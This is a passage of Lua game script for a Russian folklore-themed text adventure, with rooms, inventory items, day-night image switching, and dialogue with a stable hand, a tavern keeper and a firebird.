'gfx/32_2.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and nableguest then return 'gfx/32_2.png;gfx/daynight2/daynight30.png@0,0' end; end; obj = {'talkwithkonuh'}; decor = [[Ты видишь {talkwithkonuh|конюха}. ]]; way = { path{'Отойти от конюха', 'village'} }; } obj { nam = 'talkwithkonuh'; act = function() if not nableguest and not have('samobranka') then walkin('dlgkonuhwhenoboroten') elseif not nableguest and have('samobranka') then walkin('dlgkonuh') else p 'Конюх занят.' end end; used = function(n,z) if z^'samobranka' then walkin('dlgkonuh2') end end; } dlgkonuhpic = function() if evening == 0 then return 'gfx/32.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 then return 'gfx/32.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 then return 'gfx/32.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 then return 'gfx/32.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 then return 'gfx/32.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 then return 'gfx/32.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 then return 'gfx/32.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 then return 'gfx/32.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 then return 'gfx/32.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 then return 'gfx/32.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 then return 'gfx/32.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 then return 'gfx/32.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 then return 'gfx/32.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 then return 'gfx/32.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 then return 'gfx/32.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 then return 'gfx/32.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 then return 'gfx/32.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 then return 'gfx/32.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 then return 'gfx/32.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 then return 'gfx/32.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 then return 'gfx/32.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 then return 'gfx/32.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 then return 'gfx/32.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 then return 'gfx/32.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 then return 'gfx/32.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 then return 'gfx/32.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 then return 'gfx/32.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 then return 'gfx/32.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 then return 'gfx/32.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 then return 'gfx/32.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 then return 'gfx/32.png;gfx/daynight2/daynight30.png@0,0' end; end; dlg { nam = 'dlgkonuh'; disp = 'Разговор с конюхом'; noinv = true; pic = dlgkonuhpic; -- начинаю потихоньку сокращать код. одна функция для обработки всех одинаковых мест enter = function(s) p [[-- Чего тебе?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Конь у тебя какой-то бледный...', '-- Ха-ха-ха! У тебя и такого-то нет!', { function() p 'И правда...' end , '-- То-то же.'} }, {'Привет! Я не местный и...', '-- Мне всё равно.', { only = true; 'Я прошел долгий путь! Я чуть не погиб!', '-- Если ты болен - иди к травнику. Он поможет.', { 'Но... мне даже переночевать негде!','-- Твои проблемы.' }, { 'У меня кое-что есть для тебя!', '-- Хм. И что же ты можешь предложить?', { 'Скатерть. Но не простую, а скатерть-самобранку. Развернешь ее - а там еда на любой вкус.','-- Покажи мне ее!' }, } } } } -- конец фразы } dlg { nam = 'dlgkonuhwhenoboroten'; disp = 'Разговор с конюхом'; noinv = true; pic = dlgkonuhpic; enter = function(s) p [[-- Приветствую тебя, друг! Ты, наверное, из далеких краёв пришел к нам?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Может да, а может нет. Конь у тебя какой-то бледный...', '-- Окстись, друг! У тебя и такого-то нет. Тебе нужен ночлег? Если желаешь - можешь остаться у меня. Вечером я собираюсь испечь свой любимый пивной пирог. Присоединишься ко мне?', { function() p 'Нет. Не внушаешь ты доверия. Небось, обезглавишь, пока спать буду.' end , '-- Обижаешь. Мы мирный и гостеприимный народ...'} }, {'Да, я хотел бы найти ночлег... Чего это будет мне стоить?', '-- Ты что! Мы очень доброжелательные люди, к тому же путники из далеких стран нечасто захаживают сюда. Можешь оставаться у меня дома сколько потребуется. Вечером я собираюсь испечь свой любимый пивной пирог... Присоединишься ко мне?', only = true; {'Конечно. Спасибо огромное! Приятно встретить хорошего человека после такого долгого пути, который я прошел... Вы - мой спаситель.', '-- Отлично. Мой дом открыт для тебя. Приходи туда в любое время. Я приду ближе к ночи. Впусти меня, когда постучу в окно. Ты не будешь спать?', { 'Нет, я сплю днем. Вечером буду ждать вас, и уже заинтригован насчет пирога!', function() p'-- Поверь, я не разочарую тебя, друг!' nableguest = true oboroten = true end; }, }, {'Пожалуй, мне надо здесь осмотреться. Спасибо, конечно, за гостеприимство, я ценю это. Но я не привык оставаться на ночь у незнакомых людей... Даже столь приятных, как вы.', '-- Да брось! Что может произойти? Мы мирный народ. Я живу здесь многие годы, знаю деревню, как свои пять пальцев... Ты можешь много интересного узнать о этих местах!', { 'Я вам верю. Очень заманчивое предложение. Я подумаю. Но пока - откажусь.','-- Как знаешь, друг. Я всегда рад гостям, если что - я здесь.' }, }, } } -- конец фразы } dlg { nam = 'dlgkonuh2'; disp = 'Разговор с конюхом'; noinv = true; pic = dlgkonuhpic; enter = function(s) p [[-- Ух ты! Отдашь ее? Тогда сможешь погостить у меня.]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Нет. Это слишком ценная вещь.','-- Ну, как знаешь... Ты, конечно, будешь сыт, но ночевать на улице...', { 'Как-нибудь справлюсь.','-- Удачи.' } }, {'Да, бери. Она выручила в пути, но сейчас меня больше заботит сон... Всё отдал бы, чтобы лечь в мягкую постель.','-- В таком случае, по рукам?', { 'По рукам.', function() p'-- Мой дом открыт для тебя, можешь оставаться на ночь, пока не покинешь деревню.' nableguest = true; remove('samobranka') end }, } } -- конец фразы } obj { nam = 'tosalun'; act = function() p [[На вид - приличное заведение... Впрочем, другого-то нет.]]; end; } room { nam = 'insalun'; disp = 'В трактире'; enter = function() snd.music('mus/Plantation.ogg'); if have('pivo') or have('nopivo') and not nopivoontable then disable('#enableexit1') enable ('#enableattention1') end; if not have('pivo') and not have('nopivo') and not nopivoontable then enable('#enableexit1') disable('#enableattention1') end; if nopivoontable and not zabral then enable('#enableexit2') disable('#enableattention1') end; if nopivoontable and zabral then enable('#enableexit1') disable('#enableattention1') disable('#enableexit2') end; if vipusti then enable('#enableexit1') disable('#enableattention1') disable('#enableexit2') end; end; pic = function() -- if not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end; -- if have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end; -- if nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end; -- if zabral and not have('nopivo') then return 'gfx/33.png'; end; -- if have('nopivo') then return 'gfx/33_1.png'; end; if not eveningenabled and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end; if not eveningenabled and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end; if not eveningenabled and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end; if not eveningenabled and zabral and not have('nopivo') then return 'gfx/33.png'; end; if not eveningenabled and have('nopivo') then return 'gfx/33_1.png'; end; if eveningenabled and (evening > 5) and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png;gfx/daynight2/daynight_evening.png@0,0'; end; if eveningenabled and (evening > 5) and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png;gfx/daynight2/daynight_evening.png@0,0'; end; if eveningenabled and (evening > 5) and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png;gfx/daynight2/daynight_evening.png@0,0'; end; if eveningenabled and (evening > 5) and zabral and not have('nopivo') then return 'gfx/33.png;gfx/daynight2/daynight_evening.png@0,0'; end; if eveningenabled and (evening > 5) and have('nopivo') then return 'gfx/33_1.png;gfx/daynight2/daynight_evening.png@0,0'; end; if eveningenabled and not (evening > 5) and not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33.png'; end; if eveningenabled and not (evening > 5) and have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/33_1.png'; end; if eveningenabled and not (evening > 5) and nopivoontable and not have('nopivo') and not zabral then return 'gfx/33_2.png'; end; if eveningenabled and not (evening > 5) and zabral and not have('nopivo') then return 'gfx/33.png'; end; if eveningenabled and not (evening > 5) and have('nopivo') then return 'gfx/33_1.png'; end; end; obj = {'tobarmen', 'tositdown', 'tokartina'}; decor = function() p [[Ты видишь {tobarmen|человека}. Ты можешь присесть за ближайший свободный {tositdown|столик}. Ты можешь рассмотреть {tokartina|картину}, что висит на стене.]]; end; way = { path{'#enableexit1', 'Выйти', 'village'}:disable() , path{'#enableexit2', 'Выйти', 'talkaboutkruzhka2'}:disable() , path{'#enableattention1', 'Выйти', 'talkaboutkruzhka'}:disable() }; }:with { obj { nam = 'enableexit1'; }; obj { nam = 'enableexit2'; }; obj { nam = 'enableattention1'; }; }; dlg { nam = 'talkaboutkruzhka'; disp = 'Стоять!'; noinv = true; pic = function() if not have('pivo') and not have('nopivo') then return 'gfx/33.png' else return 'gfx/33_1.png' end; if have('nopivo') then return 'gfx/33_1.png'; end; end; enter = function(s) triedtoescape = true; tyvor = true; p [[-- Далеко собрался? Кружку отдай!]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Ээ... Я... Это...','-- Вор ты, вот ты кто! ', { 'Простите!','-- Верни кружку и можешь проваливать. Пиво твоё, кружка принадлежит заведению.' } }, } -- конец фразы } dlg { nam = 'talkaboutkruzhka2'; disp = 'В трактире'; noinv = true; pic = function() if not have('pivo') and not nopivoontable then return 'gfx/33.png'; end; if have('pivo') and not nopivoontable then return 'gfx/33_1.png'; end; if nopivoontable then return 'gfx/33_2.png'; end; end; enter = function(s) if combo then walkin('village') end; triedtoescape = true; wasintalkaboutkruzhka2 = true; p [[-- А отдать кружку?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Я оставил её на столике.','-- А, хорошо, я потом заберу.', { 'До свидания!', function() p'-- Пока.' zabral = true; walk('village') end; } }, } -- конец фразы } room { nam = 'indub'; disp = 'Возле столетнего дуба'; enter = function() treecounter = treecounter+1; if eveningenabled then evening = evening+1; end; snd.music('mus/InTheField.ogg'); snd.play('snd/birds.ogg', 2, 0); end; exit = function() snd.stop(2); end; pic = function() if evening == 0 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and not birdontree then return 'gfx/39.png;gfx/daynight2/daynight30.png@0,0' end; if evening == 0 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight30.png@0,0' end; end; obj = {'dub2', 'duplo2', 'tojarptica'}; decor = function() p [[Ты видишь {dub2|дуб}. В центре дуба {duplo2|дупло}...]]; p [[По всему видно - птицам нравится это дерево... Их заливистое пение можно слушать бесконечно.]]; if not seaseen then p [[За старым деревом ты видишь огромное пустое поле, которое простирается до горизонта.]] end; if seaseen then p [[За старым деревом ты видишь огромное пустое поле, за которым - море.]] end; p [[Ты можешь пойти туда.]]; if have('kuvshin') and not have('kuvshin2') and treecounter >=3 and 3 == rnd(3) and seaseen and needpero and not pticauletela and not havepero then p [[^Ты видишь {tojarptica|жар-птицу} на дереве!]] birdontree = true elseif not have('kuvshin') and have('kuvshin2') and treecounter >=3 and 3 == rnd(3) and seaseen and needpero and not pticauletela and not havepero then p [[^Ты видишь {tojarptica|жар-птицу} на дереве!]] birdontree = true else birdontree = false; end; end; way = { path{'Выйти', 'village'}, path{'За горизонт', after = 'К морю', 'roomlodka'} }; } obj { nam = 'dub2'; act = function() p [[Обычный дуб. Очень старый.]]; end; } obj { nam = 'tojarptica'; act = function() walkin('injarptica'); end; } room { nam = 'injarptica'; disp = 'Возле жар-птицы'; pic = 'gfx/43.png'; way = { path{'Назад', 'indub'} }; obj = {'uhvatiljarptica', 'talktojarptica'}; decor = function() p[[Ты незаметно подкрался к птице. Теперь можешь разглядеть её поближе. Редкая удача! Ты можешь либо попробовать {uhvatiljarptica|ухватить} птицу за хвост, либо {talktojarptica|заговорить} с ней.]]; end; } obj { nam = 'uhvatiljarptica'; act = function() pticauletela = true; walk('indub'); p[[Ты попытался ухватить жар-птицу за хвост, но её воля к свободе оказалась сильнее твоих меркантильных стремлений. Она улетела. Тем не менее, в твоей руке осталось одно сияющее перо...]]; take('pero'); end; } obj { nam = 'pero'; disp = fmt.img('gfx/inv/pero.png')..'Перо'; inv = [[Перо жар-птицы.]]; } obj { nam = 'talktojarptica'; act = function() walkin('dlgjarptica'); end; } obj { nam = 'duplo2'; act = function() if haveskatert then kuvshintakedfromstarik = false; end; if takkuvshin2 and not kuvshintakedfromstarik then p [[Дупло старого, могучего дерева. Пустое.]] end; if not takkuvshin2 and not kuvshintakedfromstarik then p [[В дупле ты нашел пустой, но целый кувшин!]] take('kuvshin2') takkuvshin2 = true; end; if kuvshintakedfromstarik and not dalvodu then p [[Увы... На этот раз пусто.]] end; if kuvshintakedfromstarik and dalvodu and takkuvshin2 and eatenapples and nashel2 then p [[Дупло старого, могучего дерева. Пустое.3]] end; if kuvshintakedfromstarik and dalvodu and not takkuvshin2 and not nashel2 then p [[В дупле ты нашел пустой, но целый кувшин! 2]] take('kuvshin2') takkuvshin2 = true; nashel2 = true; end; -- if kuvshintakedfromstarik and dalvodu and takkuvshin2 and not eatenapples then p [[Дупло старого, могучего дерева. Пустое.2]] end; end; } obj { nam = 'tobarmen'; act = function() walkin('inbarmen'); end; used = function (n, z) if z^'pivo' or z^'pero' or z^'nopivo' or z^'kuvshinzpivom' then p [[Надо подойти поближе.]]; return end if not z^'pivo' or z^'pero' or z^'nopivo' or z^'kuvshinzpivom' then return false; end end; } obj { nam = 'pivo'; disp = fmt.img('gfx/inv/pivo.png')..'Пиво'; inv = [[Пиво в кружке.]]; } obj { nam = 'nopivo'; disp = fmt.img('gfx/inv/pivo_no.png')..'Кружка'; inv = [[Пустая кружка.]]; } obj { nam = 'kuvshinzpivom'; disp = fmt.img('gfx/inv/kuvshinwithwater.png')..'Пиво'; inv = [[Кувшин с пивом. Да, это странно, но у тебя нет другого выхода.]]; } room { nam = 'inbarmen'; disp = 'Возле хозяина заведения'; pic = function() if not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/34.png'; end; if have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/34_1.png'; end; if nopivoontable and not have('nopivo') and not zabral then return 'gfx/34_1.png'; end; if zabral and not have('nopivo') then return 'gfx/34.png'; end; if have('nopivo') then return 'gfx/34_1.png'; end; end; decor = [[Ты видишь {talkwithbarmen|человека}, который стоит за столиком. Он пристально смотрит на тебя. Почему-то ты уверен, что это не просто бармен, а хозяин этого места. ]]; obj = {'talkwithbarmen'}; way = { path{'Отойти', 'insalun'} }; } obj { nam = 'tositdown'; act = function() walkin('insitdown'); end; used = function (n, z) if z^'pivo' or z^'nopivo' then p [[Надо подойти поближе.]]; return end if not z^'pivo' then return false; end end; } obj { nam = 'talkwithbarmen'; act = function() if vipusti and zabral then combo = true; end; -- когда не вызываем диалог, что оставил кружку уже на столе if not pivotaked and not needpivo then walkin('dlgbarmennopivo') end; if not pivotaked and not combo and needpivo then walkin('dlgbarmen') end; if pivotaked and not krotdal and triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end; if pivotaked and not krotdal and not triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen2') end; if pivotaked and krotdal and triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end; if pivotaked and krotdal and not triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen4') end; if combo and triedtoescape and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end; if combo and not triedtoescape and not tyvor then walkin('dlgbarmen4') end; if wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen4') end; if tyvor then walkin('dlgbarmen3') end; end; used = function (n, z) if z^'kuvshin' or z^'kuvshin2' then p [[Вряд ли ему нужен пустой кувшин.]] return end; if z^'kuvshinzpivom' then p [[-- Я не пью пиво из кувшинов...]]; return end; if z^'nopivo' then p [[-- Наконец-то! Теперь ступай себе с миром.]]; remove('nopivo') krotdal = true; return end; if z^'pivo' then p [[-- Спасибо, конечно, но я не позволяю себе выпивать, пока работаю. Вот в конце дня - это да...]]; elseif z^'pero' then if not pivotaked then p [[-- Спасибо. Держи своё пиво. Кружку принесешь обратно!]] take('pivo') pivotaked = true remove('pero') end return end if not z^'pivo' or z^'nopivo' then return false; end end; } dlg { nam = 'dlgjarptica'; disp = 'Разговор с жар-птицей'; noinv = true; pic = 'gfx/43.png'; enter = function(s) p [[-- Я видела, как ты крадешься! Чего тебе?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Здравствуй, жар-птица! Прости, что потревожил тебя. Но чтобы выжить и продолжить путь, мне нужно одно твоё перо. Поделись, пожалуйста?','-- Эх. Ладно. Так уж и быть. Все вы так говорите...', { 'Все? Кто ещё?', function() p'-- Неважно. Держи перо и удачи тебе.' havepero = true take('pero'); walk('indub') end } }, {'Мне перо надо. Чтобы пройти дальше.','-- А где волшебное слово? А где хорошие манеры? Эх... Ладно. Что поделать с тобой. Держи своё перо.', { 'Спасибо!', function() p'-- Не за что.' havepero = true take('pero'); walk('indub') end }, } } -- конец фразы } dlg { nam = 'dlgbarmen'; disp = 'Разговор с хозяином трактира'; noinv = true; pic = 'gfx/34_2.png'; enter = function(s) p [[-- Приветствую. Что будем пить? Или, может быть, вы голодны?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; { cond = function() return askwhere == false end, 'Пива бы.','-- С вас 13 золотых.', { 'У меня нет с собой денег. Тем более, золотых монет...', function() p'-- Понимаю. В таком случае, принеси перо жар-птицы и пиво твоё.' needpero = true askwhere = true end } }, { cond = function() return askwhere == true and not have('pero') end, 'А где его искать-то, перо жар-птицы?','-- Она часто появляется возле дуба, что за мельницей. К сожалению, у меня нет времени подсиживать её. Может, тебе удастся поймать момент...', {'А зачем оно вам?', function() p'-- Знаю одного доброго молодца, который ищет его. Обменяю перо на кое-что ценное.' end } }, {'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.', { 'Вы рыбак?', function() p'-- Да. И моряк.' end }, } } -- конец фразы } dlg { nam = 'dlgbarmennopivo'; disp = 'Разговор с хозяином трактира'; noinv = true; pic = 'gfx/34_2.png'; enter = function(s) p [[-- Приветствую. Чего желаете?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; -- {'Пива бы.','-- С вас 13 золотых.', -- { 'У меня нет с собой денег. Тем более, золотых монет...', function() p'-- Понимаю. В таком случае, принеси перо жар-птицы и пиво твоё.' needpero = true end -- } -- }, {'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.', { 'У меня нет денег... Я вообще попал сюда случайно.', function() p'-- А я не занимаюсь благотворительностью.' end }, } } -- конец фразы } dlg { nam = 'dlgbarmen2'; -- диалог после того, как взял пиво disp = 'Разговор с хозяином трактира'; noinv = true; pic = 'gfx/34_2.png'; enter = function(s) p [[-- Приветствую. Чего желаете?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; { function() if not nopivoontable then p'Можно забрать кружку с собой?' else p 'Я оставил кружку на столике.' vipusti = true; end end , function() if not nopivoontable then p'-- Нет. У меня их и так мало осталось.' else p 'А, хорошо, я потом заберу.' end end , { function() if not nopivoontable then p'Но я хочу занести пиво для мельника. И отдам кружку назад!' else p 'До свидания!' end end , function() if not nopivoontable then p'-- Нет.' else p'Пока.' end end } }, {'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.', { 'Вы рыбак?', function() p'-- Да. И моряк.' end }, } } -- конец фразы } dlg { nam = 'dlgbarmen3'; -- диалог после того, как отдал кружку (и пытался выйти с кружкой) disp = 'Разговор с хозяином трактира'; noinv = true; pic = 'gfx/34_2.png'; enter = function(s) p [[-- Приветствую. Чего желаете?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Вы всегда так строги с посетителями?','-- Нет. Только если они пытаются что-то украсть.', { 'Понимаю. Извините...', function() p'-- Будь осмотрительнее в этих краях...' end } }, {'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.', { 'Вы рыбак?', function() p'-- Да. И моряк.' end }, } } -- конец фразы } dlg { nam = 'dlgbarmen4'; -- диалог после того, как отдал кружку (и НЕ пытался выйти с кружкой) disp = 'Разговор с хозяином трактира'; noinv = true; pic = 'gfx/34_2.png'; enter = function(s) p [[-- Приветствую. Чего желаете?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Я ищу способ путешествовать дальше... Может, вы поможете мне?','-- Не уверен. Я веду оседлый образ жизни и мало путешествую.', { 'Эх. Ладно.', function() p'-- Советую быть осторожным в этих краях. *шепчет* Здесь упыри водятся! ' end } }, {'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.', { 'Вы рыбак?', function() p'-- Да. И моряк.' end }, } } -- конец фразы } room { nam = 'insitdown'; disp = 'За столиком'; pic = function() if not kuvshinontable and nopivoontable and not zabral then return 'gfx/35_3.png' end; if not kuvshinontable and not nopivoontable and not zabral then return 'gfx/35.png' end; if zabral then return 'gfx/35.png' end; if kuvshinontable and notfull then return 'gfx/35_1.png' elseif kuvshinontable and not notfull then return 'gfx/35_2.png' end; end; decor = function() p [[{stolik|Столик} прекрасно вписывается в интерьер 